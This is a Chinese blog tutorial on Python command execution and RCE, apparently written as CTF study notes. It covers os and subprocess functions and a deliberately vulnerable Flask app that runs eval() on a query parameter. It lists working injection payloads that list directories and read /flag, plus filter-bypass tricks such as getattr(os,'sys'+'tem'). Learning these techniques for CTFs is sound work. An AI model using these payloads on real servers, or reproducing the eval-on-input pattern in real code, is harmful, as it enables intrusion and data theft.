首页 > 编程语言 >python rce

python rce

时间:2024-06-21 17:01:36浏览次数:27  
标签:__ python True cmd subprocess import rce os

之前学习过了rce在php下的利用,接下来来学习一下python中rce的利用,其根本主要就是执行系统命令的函数有所不同.

os模块

os是python中用来执行系统命令的包.下面是常用的两个方法.

1.os.system:可以用来执行系统命令,但是无法将系统命令执行的结果返回.如果执行成功了会返回0,失败了会返回1

import os
os.system('dir')  //输出目录结构
print(os.system('dir'))  //输出目录结构,下一行输出0

2.os.popen:可以用来将系统命令执行的结构存储到一个管道文件中(什么是管道文件?个人理解是类似php中的phar这种).然后可以通过read方法来将管道文件的内容返回

import os
out=os.popen('dir')
print(out.read())
subprocess模块

可以认为subprocess是os模块的安全版
1.subprocess.run:基本是subprocess中最常用的模块,包含下列参数

1.唯一一个必须要有的参数,为一个列表,其中第一个值是一个应用程序,后面的则是传递的参数
import subprocess
out=subprocess.run(["calc.exe","-p"],capture_output=True,text=True)
print(out.stdout)

这也是我们常说的弹计算器命令,但是需要注意,由于windows并不是像linux那样由纯文件组成,所以这里的列表中无法直接使用dir命令如["dir"](本质上这个dir是传递给windows.cmd的一个参数,但是这个windows.cmd程序的位置找不到)

2.shell=True,默认为false

用于控制是否允许在第一个参数处直接使用shell命令的,开启后则可以不使列表而是以字符串形式直接使用,如:

import subprocess
out=subprocess.run("dir",shell=True,capture_output=True,text=True)
print(out.stdout)
3.stdin,stdout,stderr,默认为false

这三个参数用来设置输入,输出和错误信息为管道对象或是类文件对象,这里不常用.

4.capture_output=true,默认为false

用于捕获stdout和stderr时期不会输出到终端而是作为一个对象来返回.

5.text=true,默认为false

默认状态下返回的数据为字节流,而text=true可以使得返回的数据为字符串而不是字节流,不用人手动转换.

6.encoding='utf-8'

如果指定了参数,则stdin,stdout,stderr可以接受该类型的数据,否则默认为字节流.可以认为是text=true的一个手动选择版

7.timeout

设置命令超时时间.如果命令执行时间超时,子进程将被杀死,并弹出 TimeoutExpired异常.

8.check=true

如果该参数设置为True,并且进程退出状态码不是0,则弹出CalledProcessError异常.

2.subprocess.Popen是subprocess方法的核心,可用于实现更为复杂的功能

3.subprocess.getoutput:用于执行系统命令,并将stdout和stderr直接捕获(不输出到终端)并以字符串形式返回

import os
import subprocess
out=subprocess.getoutput("dir") # 到这还没有输出
print(out) #到这才有的输出

4.subprocess.check_output:可以理解为subprocess.runsubprocess.getoutput的结合版.会将stdout捕获作为字符串返回,同时也可以像subprocess.run一样使用较为复杂的自定义功能.

import subprocess
out=subprocess.check_output("dir",shell=True,text=True)# 到这还没有输出
print(out) #到这才有的输出

5.subprocess.call() check_call()
subprocess.call() 为python3.5以前版本使用,与subprocess.run()用法基本一致,但call()返回的为命令结束码,无法获取更多信息,不推荐使用,现已被run()取代.
subprocess.check_call() call()的区别为,check_call()如果命令失败(即 returncode不为0)会主动抛出subprocess.CalledProcessError异常,使用subprocess.run(check=True)可取代subprocess.check_call().

send_file

是类似于render_templateredirect的一种用于前后端交互的方法,可以下载指定的文件.

import os
import subprocess
from flask import Flask, render_template, request, redirect, url_for,session, send_file, Response
app = Flask(__name__)
@app.route('/')
def index():
    return send_file('D:\\lbzstudy\\网络空间安全学院2023版培养方案---Ver10.1-没有修改标记.docx')
if __name__=='__main__':
    app.run(debug=True, host="0.0.0.0",port=5000)
eval和exec

eval()和 exec()函数的功能是相似的,都可以执行一个字符串形式的 Python代码(代码以字符串的形式提供),相当于一个Python的解释器.二者不同之处在于,eval()执行完要返回结果,而exec()执行完不返回结果.
示例:

from flask import Flask, request, send_file
app = Flask(__name__)
@app.route('/')
def index():
    if not request.args.get("cmd"):
        return send_file("app.py")
    else:
        cmd=request.args.get("cmd")
        res=eval(cmd)
        return res
if __name__=='__main__':
    app.run(debug=True, host="0.0.0.0",port=5000)

payload:

?cmd=__import__("os").popen("ls%20/").read()
?cmd=__import__("subprocess").run("tac%20/flag", shell=True,
capture_output=True, encoding='utf-8').stdout
?cmd=__import__("subprocess").check_output("cat /flag",
shell=True).decode("utf-8")
?cmd=__import__("subprocess").getoutput("cat /flag")
?cmd=send_file("/flag")

这里面的__import__("os")一类的用法是用于动态导入模块的.

关键词过滤

目前知道特殊的仅限于如下

os.system("ls")
os.system("l"+"s")
getattr(os,"sys"+"tem")("ls")

其中的getattr是用于动态执行命令的.

标签:__,python,True,cmd,subprocess,import,rce,os
From: https://www.cnblogs.com/merak-lbz/p/18260893

相关文章

  • python读取excel文件
    在Python中,可以使用pandas库来读取Excel文件。首先,确保安装了pandas和openpyxl(用于处理Excel文件的库):pipinstallpandasopenpyxl以下是使用pandas读取Excel文件的示例代码:importpandasaspd#读取Excel文件df=pd.read_excel('example.xlsx')#显示数据框内容p......
  • 板刷codeforces构造题
    前言听说多写构造题可以提升思维能力...C.TurtleandanIncompleteSequence题目大意给定一个数组a,只有正整数和-1,-1可以改为正整数,问数组能否满足$\lfloora[i]/2\rfloor=a[i+1]或\lfloora[i+1]/2\rfloor=a[i]$,能则输出方案解题思路可以发现,相邻2个数在完全......
  • Python学习之爬虫简单例子
    importBeautifulSoupimportpandasaspdimporturllib.request,urllib.errordefrequestUrl(url):  headers={    'User-Agent':"Mozilla/5.0(Macintosh;IntelMacOSX10_14_6)AppleWebKit/537.36(KHTML,likeGecko)Chrome/81.0.404......
  • 【python数据可视化】利用Python爬取天气数据并实现数据可视化,绘制天气轮播图
    用Python爬虫抓取全年天气数据并绘制天气轮播图一、运行结果:二、代码展示:由csv文件生成↓接下来是绘制天气轮播图运行结果:完整代码请看这里↓......
  • 我一直看不明白:“C++会被java/python等这些语言替代”
    在开始前刚好我有一些资料,是我根据网友给的问题精心整理了一份「C++的资料从专业入门到高级教程」,点个关注在评论区回复“888”之后私信回复“888”,全部无偿共享给大家!!!有些程序,是既可以用c++编写,也可以用java/python编写。如果这类程序以前主要是由c++编写,后来逐渐变成主要......
  • python pta 7-43 密码强度
    本题目要求根据输入密码字符串(字符串长度大于6),密码只能由大写字母、小写字母、数字及下划线四种类型组成,其密码强度为包含类型的数量,例如包含大小写则密码强度为2,四种类型全包含则为4.若包含其他类型的字符则输出IllegalPassword.输入样例1:在这里给出一组输入。例如:123456......
  • python pta 7-44 计算时间间隔
    输入两个日期,以hh:mm的格式输入,两者之间以空格分割。输出二者的时间间隔,同样以hh:mm的格式输出。其中,hh代表小时,mm代表分钟。若时间非法则输出IllegalTime.提示一:若不希望Python代码继续执行可调用exit()函数退出。提示二:为避免歧义,小时数限定为[0,24);分钟数限定为[0,60)......
  • python学习第二天之基本数据类型及其方法
    python的基本数据类型1.数字int2.字符串str3.布尔型bool4.列表list5.元组tuple6.字典dict一个一个来看,分别梳理各自的方法。一、数字int1.bit_length--得到指定数值的二进制的长度a=10print(a.bit_length)输出:4因为a=10,而10的二进制数是1010,刚好......
  • python 趣味习题_递归函数(炸弹迷宫的走法)
    @[toc]python学习中,常会遇到一些百思不得其解的难题,但有时“灵光一现”找准方法,难题便会迎刃而解。本专栏旨在记录本人解决问题的思考方法,及实现过程。有更好方法或对程序执行有疑问的伙伴,可在评论区留言,共同讨论。题目要求题目描述:在一串连续的迷宫(房间编号为1-11的......
  • vscode python编程入门与插件推荐
    使用背景作者是一名ai测开工程师,工作环境中通常会使用到pythonshellpostgresql数据库jupyter,shh工具git版本控制等,因此向选用一个适合自己的文本编辑软件,经过长时间磨合,最终选择VScode作为我的工作软件优点内存占用率低,集成度高,开源免费插件推荐AI助手:codegeex此插件......